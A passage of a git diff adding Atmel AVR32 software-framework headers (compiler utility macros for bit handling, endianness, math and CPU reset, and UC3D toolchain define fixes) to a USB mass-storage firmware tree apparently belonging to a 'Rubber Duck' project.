unlikely(exp) (exp) +#endif + +/** + * \def is_constant(exp) + * \brief Determine if an expression evaluates to a constant value. + * + * \param exp Any expression + * + * \return true if \a exp is constant, false otherwise. + */ +#ifdef __GNUC__ +# define is_constant(exp) __builtin_constant_p(exp) +#else +# define is_constant(exp) (0) +#endif + +//! @} + +/*! \name Bit-Field Handling + */ +//! @{ + +/*! \brief Reads the bits of a value specified by a given bit-mask. + * + * \param value Value to read bits from. + * \param mask Bit-mask indicating bits to read. + * + * \return Read bits. + */ +#define Rd_bits( value, mask) ((value) & (mask)) + +/*! \brief Writes the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue to write bits to. + * \param mask Bit-mask indicating bits to write. + * \param bits Bits to write. + * + * \return Resulting value with written bits. + */ +#define Wr_bits(lvalue, mask, bits) ((lvalue) = ((lvalue) & ~(mask)) |\ + ((bits ) & (mask))) + +/*! \brief Tests the bits of a value specified by a given bit-mask. + * + * \param value Value of which to test bits. + * \param mask Bit-mask indicating bits to test. + * + * \return \c 1 if at least one of the tested bits is set, else \c 0. + */ +#define Tst_bits( value, mask) (Rd_bits(value, mask) != 0) + +/*! \brief Clears the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to clear bits. + * \param mask Bit-mask indicating bits to clear. + * + * \return Resulting value with cleared bits. + */ +#define Clr_bits(lvalue, mask) ((lvalue) &= ~(mask)) + +/*! \brief Sets the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to set bits. + * \param mask Bit-mask indicating bits to set. + * + * \return Resulting value with set bits. + */ +#define Set_bits(lvalue, mask) ((lvalue) |= (mask)) + +/*! \brief Toggles the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to toggle bits. + * \param mask Bit-mask indicating bits to toggle. + * + * \return Resulting value with toggled bits. + */ +#define Tgl_bits(lvalue, mask) ((lvalue) ^= (mask)) + +/*! \brief Reads the bit-field of a value specified by a given bit-mask. + * + * \param value Value to read a bit-field from. + * \param mask Bit-mask indicating the bit-field to read. + * + * \return Read bit-field. + */ +#define Rd_bitfield( value, mask) (Rd_bits( value, mask) >> ctz(mask)) + +/*! \brief Writes the bit-field of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue to write a bit-field to. + * \param mask Bit-mask indicating the bit-field to write. + * \param bitfield Bit-field to write. + * + * \return Resulting value with written bit-field. + */ +#define Wr_bitfield(lvalue, mask, bitfield) (Wr_bits(lvalue, mask, (U32)(bitfield) << ctz(mask))) + +//! @} + + +/*! \brief This macro makes the CPU take a small break for a few cycles. This should + * be used when waiting for an event. It will reduce the internal bus load. + * + * "sub pc, pc, -4" (or "sub pc, -2") forces the IF stage to wait until the result + * of the calculation before it can fetch the next instruction. This makes sure + * there are nothing stuck in the LS pipe when you start a new iteration and guarante + * to flush the pipeline without having any other effect. + * (A nop doesn't have any effect on the IF stage.) + */ +#if (defined __GNUC__) +# define cpu_relax() __asm__ __volatile__("sub pc, pc, -4" ::: "memory", "cc") +#elif (defined __ICCAVR32__) +# define cpu_relax() __asm__ __volatile__("sub pc, pc, -4") +#endif + + +/*! \brief This macro is used to test fatal errors. + * + * The macro tests if the expression is false. If it is, a fatal error is + * detected and the application hangs up. If TEST_SUITE_DEFINE_ASSERT_MACRO + * is defined, a unit test version of the macro is used, to allow execution + * of further tests after a false expression. + * + * \param expr Expression to evaluate and supposed to be nonzero. + */ +#if defined(_ASSERT_ENABLE_) +# if defined(TEST_SUITE_DEFINE_ASSERT_MACRO) + // Assert() is defined in unit_test/suite.h +# include "unit_test/suite.h" +# else +# define Assert(expr) \ + {\ + if (!(expr)) while (true);\ + } +# endif +#else +# define Assert(expr) ((void) 0) +#endif + + +/*! \name Zero-Bit Counting + * + * Under AVR32-GCC, __builtin_clz and __builtin_ctz behave like macros when + * applied to constant expressions (values known at compile time), so they are + * more optimized than the use of the corresponding assembly instructions and + * they can be used as constant expressions e.g. to initialize objects having + * static storage duration, and like the corresponding assembly instructions + * when applied to non-constant expressions (values unknown at compile time), so + * they are more optimized than an assembly periphrasis. Hence, clz and ctz + * ensure a possible and optimized behavior for both constant and non-constant + * expressions. + */ +//! @{ + +/*! \brief Counts the leading zero bits of the given value considered as a 32-bit integer. + * + * \param u Value of which to count the leading zero bits. + * + * \return The count of leading zero bits in \a u. + */ +#if (defined __GNUC__) + #define clz(u) __builtin_clz(u) +#elif (defined __ICCAVR32__) + #if (__VER__ == 330) && (__SUBVERSION__ <= 1) + // __count_leading_zeros is broken and returns a value which is offset by + // -32 when called with a constant parameter. + #define clz(v) (0 == v ? 32 : (31 & __count_leading_zeros(v))) + #else + #define clz(v) __count_leading_zeros(v) + #endif +#endif + +/*! \brief Counts the trailing zero bits of the given value considered as a 32-bit integer. + * + * \param u Value of which to count the trailing zero bits. + * + * \return The count of trailing zero bits in \a u. + */ +#if (defined __GNUC__) + #define ctz(u) __builtin_ctz(u) +#elif (defined __ICCAVR32__) + #define ctz(u) __count_trailing_zeros(u) +#endif + +//! @} + +//! \name Logarithmic functions +//! @{ + +/** + * \internal + * Undefined function. Will cause a link failure if ilog2() is called + * with an invalid constant value. + */ +int_fast8_t ilog2_undefined(void); + +/** + * \brief Calculate the base-2 logarithm of a number rounded down to + * the nearest integer. + * + * \param x A 32-bit value + * \return The base-2 logarithm of \a x, or -1 if \a x is 0. + */ +static inline int_fast8_t ilog2(uint32_t x) +{ + if (is_constant(x)) + return ((x) & (1ULL << 31) ? 31 : + (x) & (1ULL << 30) ? 30 : + (x) & (1ULL << 29) ? 29 : + (x) & (1ULL << 28) ? 28 : + (x) & (1ULL << 27) ? 27 : + (x) & (1ULL << 26) ? 26 : + (x) & (1ULL << 25) ? 25 : + (x) & (1ULL << 24) ? 24 : + (x) & (1ULL << 23) ? 23 : + (x) & (1ULL << 22) ? 22 : + (x) & (1ULL << 21) ? 21 : + (x) & (1ULL << 20) ? 20 : + (x) & (1ULL << 19) ? 19 : + (x) & (1ULL << 18) ? 18 : + (x) & (1ULL << 17) ? 17 : + (x) & (1ULL << 16) ? 16 : + (x) & (1ULL << 15) ? 15 : + (x) & (1ULL << 14) ? 14 : + (x) & (1ULL << 13) ? 13 : + (x) & (1ULL << 12) ? 12 : + (x) & (1ULL << 11) ? 11 : + (x) & (1ULL << 10) ? 10 : + (x) & (1ULL << 9) ? 9 : + (x) & (1ULL << 8) ? 8 : + (x) & (1ULL << 7) ? 7 : + (x) & (1ULL << 6) ? 6 : + (x) & (1ULL << 5) ? 5 : + (x) & (1ULL << 4) ? 4 : + (x) & (1ULL << 3) ? 3 : + (x) & (1ULL << 2) ? 2 : + (x) & (1ULL << 1) ? 1 : + (x) & (1ULL << 0) ? 0 : + ilog2_undefined()); + + return 31 - clz(x); +} + +//! @} + +/*! \name Bit Reversing + */ +//! @{ + +/*! \brief Reverses the bits of \a u8. + * + * \param u8 U8 of which to reverse the bits. + * + * \return Value resulting from \a u8 with reversed bits. + */ +#define bit_reverse8(u8) ((U8)(bit_reverse32((U8)(u8)) >> 24)) + +/*! \brief Reverses the bits of \a u16. + * + * \param u16 U16 of which to reverse the bits. + * + * \return Value resulting from \a u16 with reversed bits. + */ +#define bit_reverse16(u16) ((U16)(bit_reverse32((U16)(u16)) >> 16)) + +/*! \brief Reverses the bits of \a u32. + * + * \param u32 U32 of which to reverse the bits. + * + * \return Value resulting from \a u32 with reversed bits. + */ +#if (defined __GNUC__) + #define bit_reverse32(u32) \ + (\ + {\ + unsigned int __value = (U32)(u32);\ + __asm__ ("brev\t%0" : "+r" (__value) : : "cc");\ + (U32)__value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define bit_reverse32(u32) ((U32)__bit_reverse((U32)(u32))) +#endif + +/*! \brief Reverses the bits of \a u64. + * + * \param u64 U64 of which to reverse the bits. + * + * \return Value resulting from \a u64 with reversed bits. + */ +#define bit_reverse64(u64) ((U64)(((U64)bit_reverse32((U64)(u64) >> 32)) |\ + ((U64)bit_reverse32((U64)(u64)) << 32))) + +//! @} + + +/*! \name Alignment + */ +//! @{ + +/*! \brief Tests alignment of the number \a val with the \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return \c 1 if the number \a val is aligned with the \a n boundary, else \c 0. + */ +#define Test_align(val, n ) (!Tst_bits( val, (n) - 1 ) ) + +/*! \brief Gets alignment of the number \a val with respect to the \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Alignment of the number \a val with respect to the \a n boundary. + */ +#define Get_align( val, n ) ( Rd_bits( val, (n) - 1 ) ) + +/*! \brief Sets alignment of the lvalue number \a lval to \a alg with respect to the \a n boundary. + * + * \param lval Input/output lvalue. + * \param n Boundary. + * \param alg Alignment. + * + * \return New value of \a lval resulting from its alignment set to \a alg with respect to the \a n boundary. + */ +#define Set_align(lval, n, alg) ( Wr_bits(lval, (n) - 1, alg) ) + +/*! \brief Aligns the number \a val with the upper \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Value resulting from the number \a val aligned with the upper \a n boundary. + */ +#define Align_up( val, n ) (((val) + ((n) - 1)) & ~((n) - 1)) + +/*! \brief Aligns the number \a val with the lower \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Value resulting from the number \a val aligned with the lower \a n boundary. + */ +#define Align_down(val, n ) ( (val) & ~((n) - 1)) + +//! @} + + +/*! \name Mathematics + * + * The same considerations as for clz and ctz apply here but AVR32-GCC does not + * provide built-in functions to access the assembly instructions abs, min and + * max and it does not produce them by itself in most cases, so two sets of + * macros are defined here: + * - Abs, Min and Max to apply to constant expressions (values known at + * compile time); + * - abs, min and max to apply to non-constant expressions (values unknown at + * compile time). + */ +//! @{ + +/*! \brief Takes the absolute value of \a a. + * + * \param a Input value. + * + * \return Absolute value of \a a. + * + * \note More optimized if only used with values known at compile time. + */ +#define Abs(a) (((a) < 0 ) ? -(a) : (a)) + +/*! \brief Takes the minimal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Minimal value of \a a and \a b. + * + * \note More optimized if only used with values known at compile time. + */ +#define Min(a, b) (((a) < (b)) ? (a) : (b)) + +/*! \brief Takes the maximal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Maximal value of \a a and \a b. + * + * \note More optimized if only used with values known at compile time. + */ +#define Max(a, b) (((a) > (b)) ? (a) : (b)) + +/*! \brief Takes the absolute value of \a a. + * + * \param a Input value. + * + * \return Absolute value of \a a. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define abs(a) \ + (\ + {\ + int __value = (a);\ + __asm__ ("abs\t%0" : "+r" (__value) : : "cc");\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define abs(a) Abs(a) +#endif + +/*! \brief Takes the minimal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Minimal value of \a a and \a b. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define min(a, b) \ + (\ + {\ + int __value, __arg_a = (a), __arg_b = (b);\ + __asm__ ("min\t%0, %1, %2" : "=r" (__value) : "r" (__arg_a), "r" (__arg_b));\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define min(a, b) __min(a, b) +#endif + +/*! \brief Takes the maximal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Maximal value of \a a and \a b. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define max(a, b) \ + (\ + {\ + int __value, __arg_a = (a), __arg_b = (b);\ + __asm__ ("max\t%0, %1, %2" : "=r" (__value) : "r" (__arg_a), "r" (__arg_b));\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define max(a, b) __max(a, b) +#endif + +//! @} + + +/*! \brief Calls the routine at address \a addr. + * + * It generates a long call opcode. + * + * For example, `Long_call(0x80000000)' generates a software reset on a UC3 if + * it is invoked from the CPU supervisor mode. + * + * \param addr Address of the routine to call. + * + * \note It may be used as a long jump opcode in some special cases. + */ +#define Long_call(addr) ((*(void (*)(void))(addr))()) + +/*! \brief Resets the CPU by software. + * + * \warning It shall not be called from the CPU application mode. + */ +#if (defined __GNUC__) + #define Reset_CPU() \ + (\ + {\ + __asm__ __volatile__ (\ + "lddpc r9, 3f\n\t"\ + "mfsr r8, %[SR]\n\t"\ + "bfextu r8, r8, %[SR_M_OFFSET], %[SR_M_SIZE]\n\t"\ + "cp.w r8, 0b001\n\t"\ + "breq 0f\n\t"\ + "sub r8, pc, $ - 1f\n\t"\ + "pushm r8-r9\n\t"\ + "rete\n"\ + "0:\n\t"\ + "mtsr %[SR], r9\n"\ + "1:\n\t"\ + "mov r0, 0\n\t"\ + "mov r1, 0\n\t"\ + "mov r2, 0\n\t"\ + "mov r3, 0\n\t"\ + "mov r4, 0\n\t"\ + "mov r5, 0\n\t"\ + "mov r6, 0\n\t"\ + "mov r7, 0\n\t"\ + "mov r8, 0\n\t"\ + "mov r9, 0\n\t"\ + "mov r10, 0\n\t"\ + "mov r11, 0\n\t"\ + "mov r12, 0\n\t"\ + "mov sp, 0\n\t"\ + "stdsp sp[0], sp\n\t"\ + "ldmts sp, sp\n\t"\ + "mov lr, 0\n\t"\ + "lddpc pc, 2f\n\t"\ + ".balign 4\n"\ + "2:\n\t"\ + ".word _start\n"\ + "3:\n\t"\ + ".word %[RESET_SR]"\ + :\ + : [SR] "i" (AVR32_SR),\ + [SR_M_OFFSET] "i" (AVR32_SR_M_OFFSET),\ + [SR_M_SIZE] "i" (AVR32_SR_M_SIZE),\ + [RESET_SR] "i" (AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))\ + );\ + }\ + ) +#elif (defined __ICCAVR32__) + #define Reset_CPU() \ + {\ + extern void *volatile __program_start;\ + __asm__ __volatile__ (\ + "mov r7, LWRD(__program_start)\n\t"\ + "orh r7, HWRD(__program_start)\n\t"\ + "mov r9, LWRD("ASTRINGZ(AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))")\n\t"\ + "orh r9, HWRD("ASTRINGZ(AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))")\n\t"\ + "mfsr r8, "ASTRINGZ(AVR32_SR)"\n\t"\ + "bfextu r8, r8, "ASTRINGZ(AVR32_SR_M_OFFSET)", "ASTRINGZ(AVR32_SR_M_SIZE)"\n\t"\ + "cp.w r8, 001b\n\t"\ + "breq $ + 10\n\t"\ + "sub r8, pc, -12\n\t"\ + "pushm r8-r9\n\t"\ + "rete\n\t"\ + "mtsr "ASTRINGZ(AVR32_SR)", r9\n\t"\ + "mov r0, 0\n\t"\ + "mov r1, 0\n\t"\ + "mov r2, 0\n\t"\ + "mov r3, 0\n\t"\ + "mov r4, 0\n\t"\ + "mov r5, 0\n\t"\ + "mov r6, 0\n\t"\ + "st.w r0[4], r7\n\t"\ + "mov r7, 0\n\t"\ + "mov r8, 0\n\t"\ + "mov r9, 0\n\t"\ + "mov r10, 0\n\t"\ + "mov r11, 0\n\t"\ + "mov r12, 0\n\t"\ + "mov sp, 0\n\t"\ + "stdsp sp[0], sp\n\t"\ + "ldmts sp, sp\n\t"\ + "mov lr, 0\n\t"\ + "ld.w pc, lr[4]"\ + );\ + __program_start;\ + } +#endif + + + +/*! \name CPU Status Register Access + */ +//! @{ + +/*! \brief Tells whether exceptions are globally enabled. + * + * \return \c 1 if exceptions are globally enabled, else \c 0. + */ +#define Is_global_exception_enabled() (!Tst_bits(Get_system_register(AVR32_SR), AVR32_SR_EM_MASK)) + +/*! \brief Disables exceptions globally. + */ +#if (defined __GNUC__) + #define Disable_global_exception() ({__asm__ __volatile__ ("ssrf\t%0" : : "i" (AVR32_SR_EM_OFFSET));}) +#elif (defined __ICCAVR32__) + #define Disable_global_exception() (__set_status_flag(AVR32_SR_EM_OFFSET)) +#endif + +/*! \brief Enables exceptions globally. + */ +#if (defined __GNUC__) + #define Enable_global_exception() ({__asm__ __volatile__ ("csrf\t%0" : : "i" (AVR32_SR_EM_OFFSET));}) +#elif (defined __ICCAVR32__) + #define Enable_global_exception() (__clear_status_flag(AVR32_SR_EM_OFFSET)) +#endif + +//! @} + + +/*! \name Debug Register Access + */ +//! @{ + +/*! \brief Gets the value of the \a dbgreg debug register. + * + * \param dbgreg Address of the debug register of which to get the value. + * + * \return Value of the \a dbgreg debug register. + */ +#if (defined __GNUC__) + #define Get_debug_register(dbgreg) __builtin_mfdr(dbgreg) +#elif (defined __ICCAVR32__) + #define Get_debug_register(dbgreg) __get_debug_register(dbgreg) +#endif + +/*! \brief Sets the value of the \a dbgreg debug register to \a value. + * + * \param dbgreg Address of the debug register of which to set the value. + * \param value Value to set the \a dbgreg debug register to. + */ +#if (defined __GNUC__) + #define Set_debug_register(dbgreg, value) __builtin_mtdr(dbgreg, value) +#elif (defined __ICCAVR32__) + #define Set_debug_register(dbgreg, value) __set_debug_register(dbgreg, value) +#endif + +//! @} + + +/*! \name Force Assembly Inline Code Section + */ +//! @{ +#if (defined __GNUC__) +#define __always_inline __attribute__((__always_inline__)) +#elif (defined __ICCAVR32__) +#define __always_inline _Pragma("inline=forced") +#endif +//! @} + +/*! \name MCU Endianism Handling + * AVR32 is MCU big endianism. + */ +//! @{ +#define MSB(u16) (((U8 *)&(u16))[0]) //!< Most significant byte of \a u16. +#define LSB(u16) (((U8 *)&(u16))[1]) //!< Least significant byte of \a u16. + +#define MSH(u32) (((U16 *)&(u32))[0]) //!< Most significant half-word of \a u32. +#define LSH(u32) (((U16 *)&(u32))[1]) //!< Least significant half-word of \a u32. +#define MSB0W(u32) (((U8 *)&(u32))[0]) //!< Most significant byte of 1st rank of \a u32. +#define MSB1W(u32) (((U8 *)&(u32))[1]) //!< Most significant byte of 2nd rank of \a u32. +#define MSB2W(u32) (((U8 *)&(u32))[2]) //!< Most significant byte of 3rd rank of \a u32. +#define MSB3W(u32) (((U8 *)&(u32))[3]) //!< Most significant byte of 4th rank of \a u32. +#define LSB3W(u32) MSB0W(u32) //!< Least significant byte of 4th rank of \a u32. +#define LSB2W(u32) MSB1W(u32) //!< Least significant byte of 3rd rank of \a u32. +#define LSB1W(u32) MSB2W(u32) //!< Least significant byte of 2nd rank of \a u32. +#define LSB0W(u32) MSB3W(u32) //!< Least significant byte of 1st rank of \a u32. + +#define MSW(u64) (((U32 *)&(u64))[0]) //!< Most significant word of \a u64. +#define LSW(u64) (((U32 *)&(u64))[1]) //!< Least significant word of \a u64. +#define MSH0(u64) (((U16 *)&(u64))[0]) //!< Most significant half-word of 1st rank of \a u64. +#define MSH1(u64) (((U16 *)&(u64))[1]) //!< Most significant half-word of 2nd rank of \a u64. +#define MSH2(u64) (((U16 *)&(u64))[2]) //!< Most significant half-word of 3rd rank of \a u64. +#define MSH3(u64) (((U16 *)&(u64))[3]) //!< Most significant half-word of 4th rank of \a u64. +#define LSH3(u64) MSH0(u64) //!< Least significant half-word of 4th rank of \a u64. +#define LSH2(u64) MSH1(u64) //!< Least significant half-word of 3rd rank of \a u64. +#define LSH1(u64) MSH2(u64) //!< Least significant half-word of 2nd rank of \a u64. +#define LSH0(u64) MSH3(u64) //!< Least significant half-word of 1st rank of \a u64. +#define MSB0D(u64) (((U8 *)&(u64))[0]) //!< Most significant byte of 1st rank of \a u64. +#define MSB1D(u64) (((U8 *)&(u64))[1]) //!< Most significant byte of 2nd rank of \a u64. +#define MSB2D(u64) (((U8 *)&(u64))[2]) //!< Most significant byte of 3rd rank of \a u64. +#define MSB3D(u64) (((U8 *)&(u64))[3]) //!< Most significant byte of 4th rank of \a u64. +#define MSB4D(u64) (((U8 *)&(u64))[4]) //!< Most significant byte of 5th rank of \a u64. +#define MSB5D(u64) (((U8 *)&(u64))[5]) //!< Most significant byte of 6th rank of \a u64. +#define MSB6D(u64) (((U8 *)&(u64))[6]) //!< Most significant byte of 7th rank of \a u64. +#define MSB7D(u64) (((U8 *)&(u64))[7]) //!< Most significant byte of 8th rank of \a u64. +#define LSB7D(u64) MSB0D(u64) //!< Least significant byte of 8th rank of \a u64. +#define LSB6D(u64) MSB1D(u64) //!< Least significant byte of 7th rank of \a u64. +#define LSB5D(u64) MSB2D(u64) //!< Least significant byte of 6th rank of \a u64. +#define LSB4D(u64) MSB3D(u64) //!< Least significant byte of 5th rank of \a u64. +#define LSB3D(u64) MSB4D(u64) //!< Least significant byte of 4th rank of \a u64. +#define LSB2D(u64) MSB5D(u64) //!< Least significant byte of 3rd rank of \a u64. +#define LSB1D(u64) MSB6D(u64) //!< Least significant byte of 2nd rank of \a u64. +#define LSB0D(u64) MSB7D(u64) //!< Least significant byte of 1st rank of \a u64. + +#define LE16(x) Swap16(x) +#define le16_to_cpu(x) swap16(x) +#define cpu_to_le16(x) swap16(x) +#define LE16_TO_CPU(x) Swap16(x) +#define CPU_TO_LE16(x) Swap16(x) + +#define be16_to_cpu(x) (x) +#define cpu_to_be16(x) (x) +#define BE16_TO_CPU(x) (x) +#define CPU_TO_BE16(x) (x) + +#define le32_to_cpu(x) swap32(x) +#define cpu_to_le32(x) swap32(x) +#define LE32_TO_CPU(x) Swap32(x) +#define CPU_TO_LE32(x) Swap32(x) + +#define be32_to_cpu(x) (x) +#define cpu_to_be32(x) (x) +#define BE32_TO_CPU(x) (x) +#define CPU_TO_BE32(x) (x) +//! @} + + +/*! \name Endianism Conversion + * + * The same considerations as for clz and ctz apply here but AVR32-GCC's + * __builtin_bswap_16 and __builtin_bswap_32 do not behave like macros when + * applied to constant expressions, so two sets of macros are defined here: + * - Swap16, Swap32 and Swap64 to apply to constant expressions (values known + * at compile time); + * - swap16, swap32 and swap64 to apply to non-constant expressions (values + * unknown at compile time). + */ +//! @{ + +/*! \brief Toggles the endianism of \a u16 (by swapping its bytes). + * + * \param u16 U16 of which to toggle the endianism. + * + * \return Value resulting from \a u16 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap16(u16) ((U16)(((U16)(u16) >> 8) |\ + ((U16)(u16) << 8))) + +/*! \brief Toggles the endianism of \a u32 (by swapping its bytes). + * + * \param u32 U32 of which to toggle the endianism. + * + * \return Value resulting from \a u32 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap32(u32) ((U32)(((U32)Swap16((U32)(u32) >> 16)) |\ + ((U32)Swap16((U32)(u32)) << 16))) + +/*! \brief Toggles the endianism of \a u64 (by swapping its bytes). + * + * \param u64 U64 of which to toggle the endianism. + * + * \return Value resulting from \a u64 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap64(u64) ((U64)(((U64)Swap32((U64)(u64) >> 32)) |\ + ((U64)Swap32((U64)(u64)) << 32))) + +/*! \brief Toggles the endianism of \a u16 (by swapping its bytes). + * + * \param u16 U16 of which to toggle the endianism. + * + * \return Value resulting from \a u16 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) +# if (!defined __OPTIMIZE_SIZE__) || !__OPTIMIZE_SIZE__ + #define swap16(u16) ((U16)__builtin_bswap_16((U16)(u16))) +# else + // swap_16 must be not used when GCC's -Os command option is used + #define swap16(u16) Swap16(u16) +# endif +#elif (defined __ICCAVR32__) + #define swap16(u16) ((U16)__swap_bytes_in_halfwords((U16)(u16))) +#endif + +/*! \brief Toggles the endianism of \a u32 (by swapping its bytes). + * + * \param u32 U32 of which to toggle the endianism. + * + * \return Value resulting from \a u32 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define swap32(u32) ((U32)__builtin_bswap_32((U32)(u32))) +#elif (defined __ICCAVR32__) + #define swap32(u32) ((U32)__swap_bytes((U32)(u32))) +#endif + +/*! \brief Toggles the endianism of \a u64 (by swapping its bytes). + * + * \param u64 U64 of which to toggle the endianism. + * + * \return Value resulting from \a u64 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#define swap64(u64) ((U64)(((U64)swap32((U64)(u64) >> 32)) |\ + ((U64)swap32((U64)(u64)) << 32))) + +//! @} + + +/*! \name Target Abstraction + */ +//! @{ + +#define _GLOBEXT_ extern //!< extern storage-class specifier. +#define _CONST_TYPE_ const //!< const type qualifier. +#define _MEM_TYPE_SLOW_ //!< Slow memory type. +#define _MEM_TYPE_MEDFAST_ //!< Fairly fast memory type. +#define _MEM_TYPE_FAST_ //!< Fast memory type. + +typedef U8 Byte; //!< 8-bit unsigned integer. + +#define memcmp_ram2ram memcmp //!< Target-specific memcmp of RAM to RAM. +#define memcmp_code2ram memcmp //!< Target-specific memcmp of RAM to NVRAM. +#define memcpy_ram2ram memcpy //!< Target-specific memcpy from RAM to RAM. +#define memcpy_code2ram memcpy //!< Target-specific memcpy from NVRAM to RAM. + +#define LSB0(u32) LSB0W(u32) //!< Least significant byte of 1st rank of \a u32. +#define LSB1(u32) LSB1W(u32) //!< Least significant byte of 2nd rank of \a u32. +#define LSB2(u32) LSB2W(u32) //!< Least significant byte of 3rd rank of \a u32. +#define LSB3(u32) LSB3W(u32) //!< Least significant byte of 4th rank of \a u32. +#define MSB3(u32) MSB3W(u32) //!< Most significant byte of 4th rank of \a u32. +#define MSB2(u32) MSB2W(u32) //!< Most significant byte of 3rd rank of \a u32. +#define MSB1(u32) MSB1W(u32) //!< Most significant byte of 2nd rank of \a u32. +#define MSB0(u32) MSB0W(u32) //!< Most significant byte of 1st rank of \a u32. + +//! @} + +/** + * \brief Calculate \f$ \left\lceil \frac{a}{b} \right\rceil \f$ using + * integer arithmetic. + * + * \param a An integer + * \param b Another integer + * + * \return (\a a / \a b) rounded up to the nearest integer. + */ +#define div_ceil(a, b) (((a) + (b) - 1) / (b)) + +#endif // __AVR32_ABI_COMPILER__ + +/** + * \} + */ + +#endif // _COMPILER_AVR32_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/header_files/uc3d_defines_fix.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/header_files/uc3d_defines_fix.h new file mode 100755 index 0000000..23af043 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/header_files/uc3d_defines_fix.h @@ -0,0 +1,115 @@ +/** + * \file + * + * \brief Missing Toolchain Definition for UC3 D header files + * + * Copyright (c) 2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _UC3D_DEFINES_FIX_ +#define _UC3D_DEFINES_FIX_ + +#if (UC3D) + +// These defines are missing from or wrong in the toolchain header file ip_xxx.h or part.h +#ifndef AVR32_SCIF_GC_NO_DIV_CLOCK +#define AVR32_SCIF_GC_NO_DIV_CLOCK 0 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // end AVR32_SCIF_GC_NO_DIV_CLOCK + +#ifndef AVR32_SCIF_GCLK_ADCIFD +#define AVR32_SCIF_GCLK_ADCIFD 8 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // end AVR32_SCIF_GCLK_ADCIFD + +#ifndef AVR32_SCIF_GCLK_AST +#define AVR32_SCIF_GCLK_AST 6 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // end AVR32_SCIF_GCLK_AST + +#ifndef AVR32_SCIF_GCLK_GLOC +#define AVR32_SCIF_GCLK_GLOC 0 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // end AVR32_SCIF_GCLK_GLOC + +#ifndef AVR32_SCIF_GCLK_IISC +#define AVR32_SCIF_GCLK_IISC 5 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // end AVR32_SCIF_GCLK_IISC + +#ifndef AVR32_SCIF_GCLK_PWMA +#define AVR32_SCIF_GCLK_PWMA 4 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // end AVR32_SCIF_GCLK_PWMA + +#ifndef AVR32_SCIF_GCLK_USBC +#define AVR32_SCIF_GCLK_USBC 3 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // end AVR32_SCIF_GCLK_USBC + +#ifndef AVR32_PM_CPU_MAX_FREQ +#define AVR32_PM_CPU_MAX_FREQ 